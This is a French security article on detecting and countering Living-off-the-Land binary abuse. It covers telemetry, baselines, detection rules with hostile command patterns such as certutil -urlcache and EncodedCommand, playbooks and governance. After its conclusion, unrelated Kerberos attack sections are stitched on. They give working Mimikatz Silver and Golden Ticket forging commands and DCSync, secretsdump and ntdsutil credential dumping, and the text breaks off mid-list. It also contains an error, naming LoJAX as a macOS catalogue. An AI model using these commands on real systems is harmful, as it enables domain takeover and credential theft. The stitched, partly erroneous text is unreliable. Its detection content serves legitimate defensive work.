Living-off-the-Land (LOL-Bins/LOLBAS) à l’échelle

Résumé exécutif

Les attaquants privilégient de plus en plus l'utilisation d'outils et de binaires natifs présents sur les systèmes d'exploitation, une approche dite « Living-off-the-Land » (LOTL) popularisée via les catalogues LOLBins/LOLBAS. Cette stratégie permet de contourner les solutions de sécurité traditionnelles, en se fondant dans le bruit des activités légitimes. Dans les environnements modernes (postes Windows, serveurs Linux, macOS, conteneurs), l'échelle et la diversité des outils natifs rendent la détection complexe. Les adversaires combinent PowerShell, WMI, MSHTA, Certutil, Bash, Python préinstallé ou binaires Apple pour exécuter des charges utiles, se déplacer latéralement et exfiltrer des données. Cet article propose une approche structurée pour détecter et contrer les activités LOTL à grande échelle : instrumentation télémétrique, construction de baselines comportementales, détection avancée (analytique, ML), et playbooks de réponse. Sont également abordées la gestion des faux positifs et la gouvernance nécessaires pour maintenir ces capacités opérationnelles.

Comprendre le concept Living-off-the-Land

Le concept Living-off-the-Land décrit l'utilisation d'outils légitimes installés par défaut (binaires système, scripts, services) pour réaliser des actions malveillantes. Les attaquants cherchent à éviter le déploiement de logiciels malveillants facilement détectables, en exploitant des fonctionnalités natives :

• Exécution de code : PowerShell, Mshta, Rundll32, WMIC, Bash, Python.
• Téléchargement / exfiltration : Certutil, Bitsadmin, Curl, Netsh, Rsync.
• Persistance : Schtasks, Regsvr32, LaunchAgents (macOS), cron.
• Mouvement latéral : PsExec, WMI, WinRM, SSH.

Les catalogues LOLBAS (Living Off The Land Binaries and Scripts) recensent ces binaires et leurs abus possibles. La majorité des environnements d'entreprise utilisent ces outils légitimement (administration, scripts, automatisations). La détection doit donc distinguer les usages malveillants des usages normaux, en tenant compte du contexte (poste vs serveur, compte utilisateur vs service).

Cartographie des binaires et scripts critiques

La première étape consiste à cartographier les binaires LOTL présents dans l'environnement. On s'appuie sur des sources :

• Catalogue LOLBAS (Windows), GTFOBins (Linux), LoJAX (macOS).
• Inventaires internes : scripts d'administration, outils IT (Sysinternals).
• Observations SOC (alertes passées).

On classe les binaires selon leur impact : exécution de code, exfiltration, persistance. Chaque entrée inclut : chemin, signature numérique, usage légitime, risques, contrôles possibles (AppLocker, WDAC, JAMF). Cette cartographie est versionnée (Git), accessible aux équipes SOC et IT.

Télémétrie : sources et instrumentation

Pour détecter les usages malveillants, il faut collecter une télémétrie riche :

• Windows : Event Tracing for Windows (ETW), Windows Event Logs (Security, Sysmon), PowerShell transcription, AMSI logs, Windows Defender, WMI logging, Task Scheduler logs.
• Linux : auditd, Syslog, eBPF (Falco), journald, shell history, SELinux.
• macOS : Unified Logs, Endpoint Security Framework, auditd, osquery.
• Cloud/containers : Kubernetes audit logs, CloudTrail (Lambda/SSM), Azure Activity logs.

La télémétrie doit capturer : commande exécutée, arguments, utilisateur, terminal, réseau, hachage, signature. Les solutions EDR (Defender, CrowdStrike) enrichissent ces données. L'objectif est de corréler les activités LOTL avec un contexte (période, compte, machine, interactive vs service).

Baselines comportementales : méthodologie

La baseline consiste à définir le comportement normal par binaire :

1. Collecter l'historique des exécutions sur 30-90 jours. 2. Segmenter par population (utilisateurs, serveurs, environnements). 3. Identifier les top commandes, horaires, scripts. 4. Définir des règles de normalité (compte, machine, arguments).

Exemple : powershell.exe est normal pour les comptes IT, anormal pour un utilisateur bureautique. certutil.exe -decode peut être légitime dans un processus PKI, mais suspect ailleurs. Les baselines doivent être dynamiques (mise à jour automatique) et versionnées. Les solutions UEBA (User and Entity Behavior Analytics) et des pipelines custom (Spark, KQL) calculent ces baselines.

Détection comportementale : règles et modèles

Règles statiques

On définit des règles basées sur des signatures connues :

• Powershell avec EncodedCommand, Invoke-Expression, DownloadString.
• Mshta exécutant du code depuis Internet.
• Certutil avec -urlcache -split -f http.
• Rundll32 chargeant des DLL hors du dossier système.
• Bitsadmin ciblant des domaines externes.

Ces règles sont implémentées dans SIEM (KQL, Splunk SPL), EDR (custom detection), Sysmon (event 1 via configuration). Elles fournissent une première ligne de détection. Les binaires sont surveillés via des GUID Sysmon et des règles Sigma.

Détection comportementale avancée

Les règles statiques génèrent des faux positifs. Les organisations déploient des modèles comportementaux :

• Scoring par rareté : commande jamais vue dans le contexte -> alerte.
• Clustering : regrouper les séquences de commandes et détecter celles hors cluster.
• Graphes : cartes des parent/child processes, identifier des chemins anormaux.
• Séquence : utiliser Markov, LSTM pour détecter des séquences de commandes inhabituelles.

Les features incluent : utilisateur, machine, hash binaire, arguments n-gram, direction réseau. Les résultats alimentent le SOC via un scoring (bas, moyen, haut). Les anomalies faibles sont revues en batch, les hautes en temps réel.

Cas d'usage : PowerShell

PowerShell est emblématique. Pour le surveiller :

• Activer Module Logging, Script Block Logging, Transcript.
• Collecter les logs Microsoft-Windows-PowerShell/Operational.
• Surveiller les modules (Mimikatz, Invoke-Mimikatz, Empire) via AMSI.

Patterns suspects :

• Invoke-Obfuscation (obfuscation), FromBase64String, iex.
• Téléchargement distant (IWR, Net.WebClient).
• Injection mémoire (Add-Type -AssemblyName System.Core + VirtualAlloc).

Les analystes développent des YARA-L rules sur les scripts. Defender for Endpoint fournit des détections (Suspicious PowerShell). Les baselines identifient les scripts internes pour éviter les alertes.

WMI, WinRM et instrumentation

WMI offre des capacités d'exécution distantes. L'attaquant peut utiliser wmic ou PowerShell Get-WmiObject. Pour surveiller :

• Activer WMI logging (permanent event consumers).
• Collecter Microsoft-Windows-WMI-Activity/Operational (event 5857, 5858, 5860).
• Surveiller WinRM (event 500-501 Microsoft-Windows-WinRM/Operational).

Les règles détectent des connexions WMI depuis des postes utilisateurs vers des serveurs. L'usage de WMI sur des segments sensibles est suspect.

Linux et GTFOBins

Sur Linux, les attaquants utilisent bash, python, perl, awk, curl, socat, rsync. Les contrôles incluent :

• auditd pour surveiller l'exécution (execve).
• eBPF (Falco) pour définir des règles (ex : curl vers domaines non internes).
• AppArmor/SELinux pour restreindre des binaires.

Les scripts collectent les command history, les combinent avec les logs. On définit des baselines par serveur (ex : tar sur un serveur backup est normal, sur un serveur web c'est suspect). Les conteneurs sont audités via kube-audit, Falco (règle : Run shell in container).

macOS et binaires LoJAX

macOS possède des binaires natifs : osascript, curl, osascript, launchctl, defaults. La télémétrie utilise l'Endpoint Security Framework (ESF) pour capter les événements process, file, network. Les solutions EDR Mac (Jamf Protect, CrowdStrike) procurent des règles :

• Alerte sur osascript exécutant du JavaScript.
• curl vers domaines non internes.
• Création de LaunchAgents hors /Library/LaunchAgents.

Les baselines tiennent compte des équipes (développeurs vs bureau). Les scripts de build (Xcode) sont whitelists pour éviter des alertes.

Exfiltration via LOTL

Les attaquants exfiltrent des données en utilisant certutil, curl, powershell Invoke-WebRequest, aws cli, az cli. Les détections reposent sur :

• Analyse des flux réseau (DNS, HTTP, HTTPS).
• Détection des patterns (ex : certutil -f -urlcache -split http://).
• Surveiller Invoke-WebRequest vers domaines inconnus.
• Regarder les volumes (un curl téléchargeant 500 Mo est suspect).

Les solutions DLP incluent des signatures sur les MIME, les patterns de données (PII). On combine DLP avec la télémétrie process pour savoir quel binaire exfiltre.

Persistance LOTL

Les attaquants utilisent des mécanismes natifs :

• schtasks /create, at, wscript.
• reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
• LaunchAgents sur macOS.
• crontab sur Linux.

Les logs Microsoft-Windows-TaskScheduler/Operational (event 106, 140). Sysmon event 1+13 identifient les modifications. Les analystes surveillent la création de tâches par des comptes utilisateurs non admin. Les règles Sigma existent pour schtasks avec des arguments encode.

Approche de gouvernance : charte LOTL

Les entreprises définissent une charte :

• Identifier les acteurs autorisés (IT, DevOps) à utiliser des binaires LOTL.
• Exiger des procédures (ticket, enregistrement).
• Documenter les scripts d'administration (version control, signatures).

Les équipes IT utilisent des alternatives sécurisées (PowerShell JEA, remote management). Les scripts sont signés, les macros sont limitées. La charte intègre les principes Zero Trust (Just Enough Access, Just In Time).

AppLocker, WDAC et contrôles d'exécution

AppLocker (Windows) permet de restreindre l'exécution par chemin, hash, signature. On peut :

• Bloquer certains binaires LOTL (mshta, wmic) pour les utilisateurs standard.
• Limiter powershell.exe à la version PowerShellCore signée.

Windows Defender Application Control (WDAC) offre un contrôle plus fin, mais nécessite une gestion rigoureuse. On adopte une approche white list + exceptions justifiées. Les logs AppLocker (event 8002) alimentent le SIEM.

Cross-corrélation avec M365 et Cloud

Les activités LOTL ciblent aussi les environnements cloud :

• Az CLI pour manipuler des ressources Azure.
• Aws.exe pour extraire des données S3.
• gcloud pour Cloud Storage.

Les logs (Azure Activity, AWS CloudTrail) doivent être corrélés avec l'endpoint initiateur. Une commande aws s3 sync sur un poste utilisateur est suspecte. Defender for Cloud Apps (MCAS) détecte des activités anormales (download massif).

Pipeline analytique et data lake

La masse de télémétrie nécessite un pipeline robuste :

• Ingestion (Logstash, Azure Data Explorer, Kinesis).
• Enrichissement (host context, user info, geoloc, threat intel).
• Feature store (Spark, Synapse) pour ML.
• Visualisation (Power BI, Grafana).

Le pipeline permet des analyses historiques (lookback sur 180 jours). On identifie les TTP, on construit des dashboards.

Détection ML : études de cas

Microsoft Defender for Endpoint

MDE utilise des modèles pour détecter Suspicious behavior: LOLBin abuse, Possible use of BITS for data exfiltration. Les organisations peuvent inspecter ces alertes, comprendre les features (rarety, parent process). L'intégration avec Sentinel permet d'automatiser la réponse.

Projet interne : scoring d'anomalie

Une entreprise a développé un modèle Isolation Forest sur les exécutions PowerShell. Features : heure, longueur commande, entropie, arguments. Le modèle a identifié une exécution obfusquée. L'alerting a déclenché un blocage via SOAR. Les retours d'expérience ont été utilisés pour ajuster les features (ajout du ParentProcess).

Playbooks de réponse

Lorsqu'une activité LOTL suspecte est détectée :

1. Valider la commande (cmdline). 2. Vérifier le contexte (utilisateur, machine, ticket). 3. Isoler la machine si malveillant. 4. Collecter les artefacts (script, logs, réseau). 5. Analyser la portée (d'autres exécutions, latéralité). 6. Remédiation (kill process, supprimer tâches, réinitialiser comptes).

Les playbooks SOAR automatisent : en cas d'exécution certutil suspecte, prélever la mémoire, bloquer IP. Les runbooks incluent la communication (IT, management).

Gestion des faux positifs

Les activités légitimes utilisent les mêmes binaires. Pour gérer :

• Baselines : autoriser certains binaires pour des groupes.
• Suppressions temporaires (via tickets) lors de maintenances.
• Ajustement des seuils (ex : autoriser bitsadmin sur les serveurs patching).

Les analystes utilisent des tags Known Good dans le SIEM. Un comité mensuel révise les suppressions, supprime les exceptions obsolètes.

Intégration avec MITRE ATT&CK

Le LOTL couvre plusieurs techniques :

• T1059 (Command and Scripting Interpreter) : PowerShell, Bash, Python.
• T1218 (Signed Binary Proxy Execution) : Rundll32, Mshta, Regsvr32.
• T1047 (WMI) : wmic, PowerShell WMI.
• T1105 (Ingress Tool Transfer) : Bitsadmin, Curl.
• T1106 (Execution via API) : DLL injection, COM.

Les détections sont alignées sur ATT&CK, permettant de mesurer la couverture. On mappe chaque règle, on identifie les gaps. Les rapports MITRE Engenuity (ATT&CK evaluations) fournissent des idées de détection.

Logs enrichis et contexte

Pour améliorer la détection :

• Enrichir les logs avec l'inventaire (type de machine, équipe).
• Ajouter des tags (production, finance, bureau).
• Corréler avec les logs d'authentification (Kerberos, VPN).

Exemple : powershell.exe exécuté après un logon RDP d'un compte service -> suspect. Les enrichissements sont gérés via des tables de référence (table KQL, lookup Splunk).

EDR vs solutions natives

Les EDR offrent des détections out-of-the-box, mais les organisations doivent compléter :

• EDR = pare-feu logique, YARA, monitoring.
• Windows natif = Sysmon, ETW, AppLocker.

Combiner les deux offre une résilience (si l'EDR est désactivé). Sysmon configuration (SwiftOnSecurity) inclut des règles pour rundll32, mshta. Les données Sysmon sont forwardées vers le SIEM.

Blue Team : labs et entraînement

Les Blue Teams organisent des labs LOTL :

• Déployer un lab AD, postes, serveurs.
• Exécuter des TTP (Invoke-Mimikatz, Certutil download).
• Observer les logs, ajuster les règles.

Les exercices Purple Team alignent les détections sur les TTP réelles. Les lessons learned alimentent les baselines. Un calendrier trimestriel assure la mise à jour (nouvelles TTP, nouveaux binaires).

Sensibilisation et politique IT

Les équipes IT sont sensibilisées :

• Formation sur les risques d'utiliser certutil non autorisé.
• Processus d'approbation pour scripts PowerShell.
• Communication sur l'enregistrement des actions (audit).

Une politique IT définit les outils supportés, les alternatives. Les utilisateurs finaux sont informés de ne pas exécuter de scripts inconnus.

Observabilité temps réel vs batch

La détection se déploie à deux niveaux :

• Temps réel : EDR, SIEM streaming, alertes critiques.
• Batch : analyses quotidiennes, scoring, hunting.

Les pipelines stream (Azure Sentinel, Splunk) déclenchent des alertes en <1 minute. Les analyses batch (Databricks) identifient des patterns sur 90 jours. Les deux se complètent : temps réel pour la réponse, batch pour la chasse.

Intégration SOAR

Les SOAR (Cortex XSOAR, Sentinel Automation, Phantom) automatisent :

• Enrichissement (VirusTotal, Shodan).
• Blocage IP, isolation machine.
• Notification (Teams, Slack).

Les playbooks LOTL incluent des étapes conditionnelles (ex : vérifier si l'utilisateur est admin). Les logs sont mis à jour avec le statut (True Positive/False Positive). Les métriques (MTTD, MTTR) sont suivies.

Observation des séquences

Les TTP LOTL s'inscrivent dans des séquences :

1. powershell.exe -> certutil.exe -> bitsadmin.exe -> exfil. 2. wmic.exe -> psexec.exe -> cmd.exe sur serveur cible.

Les graphes process (Neo4j) permettent de visualiser ces séquences. Les algorithmes d'apprentissage séquentiel détectent les anomalies. Les SOC utilisent des visualisations (Timesketch) pour comprendre. Les détections se déclenchent sur les enchaînements, pas uniquement sur un binaire.

Cas d'incidents documentés

Campagne Emotet

Emotet exploitait powershell.exe pour download des payloads, regsvr32 pour exécuter des DLL, mshta pour obfuscation. Les organisations ayant activé PowerShell Logging ont détecté les EncodedCommand. Les EDR ont mis en quarantaine les processus. L'incident a mis en lumière la nécessité d'activer AMSI et Sysmon.

Intrusion APT29

APT29 a utilisé certutil pour télécharger des payloads, bitsadmin pour persistance. Les logs ont montré certutil -urlcache. L'analyse a révélé un flux vers un domaine inconnu. Les défenses incluant un monitoring de bitsadmin ont permis une détection rapide.

Incident interne (shadow IT)

Un administrateur a utilisé powershell.exe pour déployer un script non autorisé sur 200 postes. Les baselines ont détecté l'usage par un compte non IT. Après enquête, l'activité était légitime mais non approuvée. Cette situation a motivé la création d'un processus de demande.

Détection sur endpoints isolés

Dans des contextes air-gapped, sans SIEM centralisé, on utilise :

• sysmon + logstash offline.
• Scripts PowerShell qui exportent des logs sur clé USB.
• Outils osquery pour collecter les événements.

Les analyses se font en différé. Les organisations déploient des appliances locales pour corréler, puis synchronisent quand possible.

Alignement avec les obligations réglementaires

Les secteurs régulés (finance, santé) doivent démontrer leur capacité de détection. Les détections LOTL répondent à :

• PCI DSS : surveillance des accès administratifs.
• ISO 27001 : contrôle d'accès, journaux.
• NIS2 : détection et réponse.

Les rapports de conformité incluent le nombre d'incidents LOTL détectés, le temps de réponse, les audits de logs.

Continuum de maturité

1. Niveau 1 : collecte logs basique (Security, Sysmon), règles statiques, réaction manuelle. 2. Niveau 2 : baselines par population, détections contextualisées, SOAR partiel. 3. Niveau 3 : ML, corrélation multi-sources, automatisation réponse, hunts réguliers. 4. Niveau 4 : Zero Trust, micro-segmentation, blocage proactif, red team continu.

La feuille de route inclut des jalons (échéances trimestrielles), sponsor exécutif, indicateurs de progression.

Hunting : scénarios pratiques

• Hunt 1 : Rechercher certutil avec -urlcache sur les 7 derniers jours.
• Hunt 2 : Identifier les commandes PowerShell avec entropie élevée (>4.0) -> suspicion d'encodage.
• Hunt 3 : Lister les exécutions wmic depuis des postes utilisateurs vers des serveurs.
• Hunt 4 : Sur Linux, détecter curl vers *.onion.

Les hunts sont documentés (Wiki), exécutés par rotation. Les résultats sont évalués et partagés lors de réunions SOC.

Conclusion générale

La lutte contre les activités Living-off-the-Land nécessite une approche systématique : cartographie des binaires, instrumentation télémétrique riche, baselines comportementales, détection avancée, réponse orchestrée. À l'échelle d'une grande organisation, seules l'automatisation, la gouvernance et l'analyse multidimensionnelle permettent de distinguer les usages légitimes des abus malveillants. L'investissement dans les capacités de détection comportementale et la collaboration entre SecOps, IT et métiers est indispensable pour contrer des adversaires qui exploitent les outils natifs. En alignant les défenses sur les TTP et en cultivant un programme de hunting basé sur les LOLBins/LOLBAS, les entreprises maintiennent une posture résiliente face aux attaques furtives.

Compléments : instrumentation spécifique PowerShell 7 et Core

Avec l'adoption de PowerShell 7/PowerShell Core, la télémétrie doit couvrir les chemins supplémentaires (C:\Program Files\PowerShell\7\pwsh.exe). Les défenseurs activent la journalisation :

• Register-PSSessionConfiguration pour limiter les modules.
• Set-PSReadlineOption -HistorySaveStyle pour contrôler l'historique.
• Utilisation de Constrained Language Mode pour les postes non IT.

Les scripts signés (Set-ExecutionPolicy AllSigned) réduisent les abus. Toutefois, les attaquants peuvent utiliser pwsh.exe -NoLogo -NoProfile. Les détections surveillent pwsh exécuté depuis des répertoires temporaires.

Gestion des scripts signés et du Code Integrity

La signature des scripts est clé. Les organisations déploient une PKI interne :

• Certificats de signature de code pour les équipes IT.
• Pipeline de validation (lint, scan, signature, publication).

Les scripts non signés sont bloqués via AppLocker. Les logs AppLocker (8004) indiquent les blocages. L'usage de Set-AuthenticodeSignature est monitoré. On déploie des outils (GitLab CI) pour imposer la signature avant publication.

Cas d'étude : campagne interne de simulation

Une entreprise a mené une campagne interne (red team) simulant une attaque LOTL :

1. Phishing pour déposer un beacon Cobalt Strike. 2. Utilisation de powershell.exe pour télécharger un loader via IEX. 3. Mouvement latéral via wmic /node. 4. Exfiltration via bitsadmin.

Les détections : EDR a détecté le EncodedCommand PowerShell ; Sysmon a alerté sur wmic. Cependant, l'exfiltration bitsadmin est passée inaperçue. Cette simulation a conduit à la mise en place d'une règle KQL :

DeviceProcessEvents
| where FileName == "bitsadmin.exe"
| extend Cmd = tostring(ProcessCommandLine)
| where Cmd hasany ("/transfer","/download","http://","https://")
| project Timestamp, DeviceName, AccountName, Cmd

- rule: Excessive Curl Outbound
  desc: Detecte l'utilisation suspecte de curl pour des domaines non approuvés
  condition: evt.type in (execve) and proc.name = "curl" and not fd.sip in (listinternals) and evt.arg.path containsany ("http://", "https://")
  output: "Use of curl out of allowlist (user=%user.name command=%proc.cmdline)"
  priority: WARNING

Le framework ESF offre des événements ESEVENTTYPENOTIFY_EXEC. Les développeurs de sécurité créent des daemons interceptant les exécutions osascript, curl, python. Les événements sont enrichis avec l'identité (utilisateur, TCC). Les politiques MDM (Jamf) désactivent Remote Apple Events. Les règles de détection ciblent les scripts Apple (JXA) exécutés hors contexte. On surveille la création de LaunchAgents dans ~/Library/LaunchAgents. Les logs d'audit (event type 7 EXECVE) complètent.

Rôle des proxies et passerelles réseau

Les proxies HTTP/HTTPS fournissent des logs utiles :

• URL, User-Agent, catégorie, volume.
• Intégration avec X-Forwarded-For pour identifier le poste.

Les règles détectent : certutil comme User-Agent, powershell/Invoke-WebRequest. On ajoute des signatures sur mshta (User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)). Les proxies peuvent bloquer les domaines suspects, imposer SSL inspection (avec exceptions). Les flux bitsadmin apparaissent comme BITS/7.5. Les NDR (Darktrace, Vectra) corrèlent ces user agents.

Intégration Threat Intelligence

La Threat Intel enrichit : domaines, IP, hash des scripts malveillants. Les feeds (VirusTotal, MISP) fournissent des IOCs sur des campagnes LOTL. On corrèle les exécutions certutil téléchargant depuis un domaine TI. Les fichiers téléchargés sont soumis à sandbox (Cuckoo). Les alertes TI sont priorisées (score plus élevé). Les playbooks incluent l'enrichissement automatique via API.

Gouvernance des exceptions

Les exceptions LOTL doivent être gérées :

• Formulaire de demande (binaires, fréquence, comptes).
• Validation par SecOps et IT.
• Durée limitée, revue périodique.

Les exceptions sont taguées dans le SIEM. À l'expiration, une alerte informe l'équipe. On maintient un registre (CMDB) avec les scripts autorisés. Les exceptions multiples déclenchent une revue (peut indiquer une mauvaise architecture).

Visualisations et dashboards

Des dashboards interactifs (Power BI, Kibana) montrent :

• Top 10 binaires LOTL (par volume, par user).
• Cartographie parent/child process.
• Timeline des alertes.
• Voies d'exfiltration (bitsadmin, certutil).

KPI et métriques

Les métriques suivies :

• Nombre d'exécutions powershell.exe par semaine (global et par service).
• Taux de faux positifs (alertes LOTL vs incidents confirmés).
• Temps de réaction (MTTR) sur alertes certutil.
• Couverture (pourcentage de machines avec Sysmon, auditd).

Ces données alimentent les comités de sécurité. Des objectifs (réduction 20% des faux positifs) sont fixés.

Relations avec les équipes DevOps

DevOps utilise des scripts pour déploiement (PowerShell, Bash). Les équipes SecOps collaborent :

• Revue des pipelines CI/CD.
• Mise en place d'exécutions signées.
• Documenter les horaires (ex : déploiements nocturnes).

Les pipelines déploient des agents EDR, fournissent les logs. Les environnements de build sont surveillés (prévention sabotage). Les Git hooks détectent les commandes suspectes dans les scripts commités.

Response rapide via contrôle d'accès

Les solutions Privilege Access Management (PAM) surveillent les sessions. Lorsqu'un opérateur exe un binaire LOTL, la session est enregistrée. Les alertes critiques déclenchent la suspension (ex : certutil par un compte non autorisé). Les consoles PAM offrent des rapports sur les commandes utilisées. Dans certains cas, les organisations imposent le bastion pour administrer (tout passe par PAM).

Intégration avec les frameworks Zero Trust

Dans un modèle Zero Trust :

• L'accès aux binaires sensibles est conditionné (MFA, device compliant).
• La segmentation micro (SDP) limite l'impact des exécutions LOTL (vs segmentation macro).

Les politiques adaptatives bloquent l'accès si un binaire suspect est détecté. Les signaux (ex : alerte EDR) modifient le niveau d'accès en temps réel (Integration avec Azure AD Conditional Access).

Cas d'exfiltration via OneDrive/SharePoint

Les attaquants utilisent OneDrive en tant que canal. Une commande powershell Invoke-WebRequest upload des données. Les logs Microsoft 365 (Audit) détectent des uploads volumineux. Defender for Cloud Apps alerte sur Mass download/upload. Les organisations définissent des politiques DLP cloud (bloquer quand sensitive label). Les corrélations endpoint-cloud identifient l'origine.

Sécurité des environnements OT/ICS

Les systèmes industriels disposent de binaires natifs (ex : ftp, tftp). Les logs sont limités. Les défenseurs :

• Instrumentent les ICS (ex : Nozomi, Claroty) pour surveiller les commandes.
• Utilisent des whitelists strictes (application whitelisting).
• Segmentation forte (Zones Purdue).

Les hunts recherchent des commandes non standard (ex : curl sur un HMI). Les incidents passés ont montré l'utilisation de PsExec pour déployer des charges dans OT.

Prévention par suppression ou restriction des binaires

Certaines organisations retirent certains binaires :

• Renommer mshta.exe, wmic.exe pour les users.
• Remplacer certutil.exe par un wrapper loggé.

Cela doit être fait prudemment (compatibilité). En alternative, on utilise Filesystem ACL ou AppLocker pour restreindre l'accès. Les modifications sont testées en pre-prod avant diffusion. On garde des copies en cas de besoin (sous dossiers restreints).

Perspectives ML : graph embeddings et détection séquentielle

Des recherches explorent l'utilisation de graph embeddings pour représenter les séquences de processus. Les nodes = processus, edges = parent/child. Les embeddings (Node2Vec) alimentent des modèles de classification. D'autres utilisent des Transformers sur les séquences de commandes (tokenisation). Les résultats sont prometteurs, mais exigent des ressources et une gouvernance data scientifique (gestion du drift, explications). Les organisations expérimentent dans des environnements isolés avant production.

Programme de bug bounty interne

Pour améliorer la détection, certaines entreprises lancent des programmes internes : les équipes Red/Blue soumettent des TTP LOTL non détectées, récompensées. Cela motive l'innovation et révèle des lacunes. Les contributions sont documentées et intégrées dans la roadmap.

Communication et reporting vers l'exécutif

Les dirigeants doivent comprendre les risques. Les rapports trimestriels résument :

• Cas d'incidents LOTL.
• Niveau de préparation (maturité, baselines).
• Investissements nécessaires (EDR, licences, formation).

Des infographies illustrent le concept (binaire légitime -> abus). Les KPI sont traduits en impact business (temps d'arrêt, risque financier).

Alignement sur D3FEND

Le framework D3FEND propose des contre-mesures spécifiques. Pour LOTL :

• Execution Prevention (AppLocker).
• Process Whitelisting.
• Behavioral Analytics.

Les organisations mapent leurs contrôles sur D3FEND pour s'assurer de la couverture. Cela facilite les audits.

Roadmap renforcée

1. 0-3 mois : déployer Sysmon/EDR complet, activer logging PowerShell, définir top règles Sigma. 2. 3-6 mois : baselines par groupe, dashboards, hunts réguliers. 3. 6-12 mois : ML, SOAR complet, intégration Zero Trust, contrôle PAM. 4. >12 mois : suppression binaires superflus, intégration OT/Cloud, bug bounty interne.

Chaque phase inclut des jalons (livrables, formations), sponsor (CISO), budget.

Ressources et bibliographie

• LOLBAS Project (lolbas-project.github.io).
• GTFOBins (gtfobins.github.io).
• Microsoft docs : PowerShell Logging, WDAC, AMSI.
• Whitepapers MITRE, SANS sur LOTL.
• Blogs (SpecterOps, Red Canary, MDSec).

Les équipes maintiennent une veille : flux RSS, Slack #threat-intel. Des revues mensuelles mettent à jour les règles, partagent les nouvelles TTP.

Checklist finale étendue

1. Inventaire complet des binaires LOTL (Windows/Linux/macOS, Cloud CLI). 2. Télémétrie multi-source (Sysmon, auditd, ESF, EDR, proxies). 3. Baselines par population, scoring de rareté. 4. Règles statiques + comportementales, alignées MITRE. 5. SOAR pour réponse rapide, playbooks documentés. 6. Gouvernance : charte, exceptions, formation. 7. Intégration Zero Trust, PAM, segmentation réseau. 8. Programme de hunting, labs Purple Team, bug bounty interne. 9. KPI/reporting exécutif, alignement réglementaire. 10. Roadmap de suppression progressive des binaires à haut risque.

En respectant cette checklist, les organisations déploient une défense adaptative contre les activités Living-off-the-Land à l'échelle, détectant les comportements anormaux tout en évitant la surcharge d'alertes.

6. Silver Ticket : falsification de tickets de service

6.1 Principe et mécanisme

Un Silver Ticket est un ticket de service forgé sans interaction avec le KDC. Si un attaquant obtient le hash NTLM (ou la clé AES) d'un compte de service, il peut créer des tickets de service valides pour ce service sans que le DC ne soit contacté. Le ticket forgé contient un PAC (Privilege Attribute Certificate) arbitraire, permettant à l'attaquant de s'octroyer n'importe quels privilèges pour le service ciblé.

Contrairement au Golden Ticket qui forge un TGT, le Silver Ticket forge directement un Service Ticket, ce qui le rend plus discret car il ne génère pas d'événement 4768 (demande de TGT) ni 4769 (demande de ST) sur le DC.

6.2 Création et injection de Silver Tickets

# Création d'un Silver Ticket pour le service CIFS
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server01.domain.local /service:cifs /rc4:serviceaccounthash /ptt

# Silver Ticket pour service HTTP (accès web avec IIS/NTLM)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:webapp.domain.local /service:http /aes256:serviceaes256key /ptt

# Silver Ticket pour LDAP (accès DC pour DCSync)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:dc01.domain.local /service:ldap /rc4:dccomputerhash /ptt

# Silver Ticket pour HOST (WMI/PSRemoting)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server02.domain.local /service:host /rc4:computerhash /ptt

6.3 Cas d'usage spécifiques par service

6.4 Détection des Silver Tickets

# Activer la validation PAC stricte (GPO)
Computer Configuration > Policies > Windows Settings > Security Settings > 
Local Policies > Security Options > 
"Network security: PAC validation" = Enabled

# Script PowerShell pour corréler accès et tickets KDC
$timeframe = (Get-Date).AddHours(-1)
$kdcEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768,4769;StartTime=$timeframe}
$accessEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=$timeframe} | 
    Where-Object {$_.Properties[8].Value -eq 3} # Logon type 3 (network)

# Identifier les accès sans ticket KDC correspondant
$accessEvents | ForEach-Object {
    $accessTime = $_.TimeCreated
    $user = $_.Properties[5].Value
    $matchingKDC = $kdcEvents | Where-Object {
        $_.Properties[0].Value -eq $user -and 
        [Math]::Abs(($_.TimeCreated - $accessTime).TotalSeconds) -lt 30
    }
    if (-not $matchingKDC) {
        Write-Warning "Accès suspect sans ticket KDC: $user à $accessTime"
    }
}

7. Golden Ticket : compromission totale du domaine

7.1 Principe et impact

Le Golden Ticket représente l'apex de la compromission Kerberos. En obtenant le hash du compte krbtgt (le compte de service utilisé par le KDC pour signer tous les TGT), un attaquant peut forger des TGT arbitraires pour n'importe quel utilisateur, y compris des comptes inexistants, avec des privilèges et une durée de validité de son choix (jusqu'à 10 ans).

Un Golden Ticket offre une persistance exceptionnelle : même après la réinitialisation de tous les mots de passe du domaine, l'attaquant conserve son accès tant que le compte krbtgt n'est pas réinitialisé (opération délicate nécessitant deux réinitialisations espacées).

7.2 Extraction du hash krbtgt

L'obtention du hash krbtgt nécessite généralement des privilèges d'administrateur de domaine ou l'accès physique/système à un contrôleur de domaine. Plusieurs techniques permettent cette extraction :

# DCSync du compte krbtgt
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# DCSync de tous les comptes (dump complet)
mimikatz # lsadump::dcsync /domain:domain.local /all /csv

# DCSync depuis Linux avec impacket
python3 secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Création d'une copie shadow avec ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds_backup" q q

# Extraction avec secretsdump (impacket)
python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Extraction avec DSInternals (PowerShell)
$key = Get-BootKey -SystemHivePath 'C:\temp\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\temp\ntds.dit' -BootKey $key | 
    Where-Object {$_.SamAccountName -eq 'krbtgt'}

7.3 Forge et utilisation du Golden Ticket

# Golden Ticket basique (RC4)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ptt

# Golden Ticket avec AES256 (plus discret)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /aes256:krbtgt_aes256_key /ptt

# Golden Ticket avec durée personnalisée (10 ans)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /endin:5256000 /renewmax:5256000 /ptt

# Golden Ticket pour utilisateur fictif
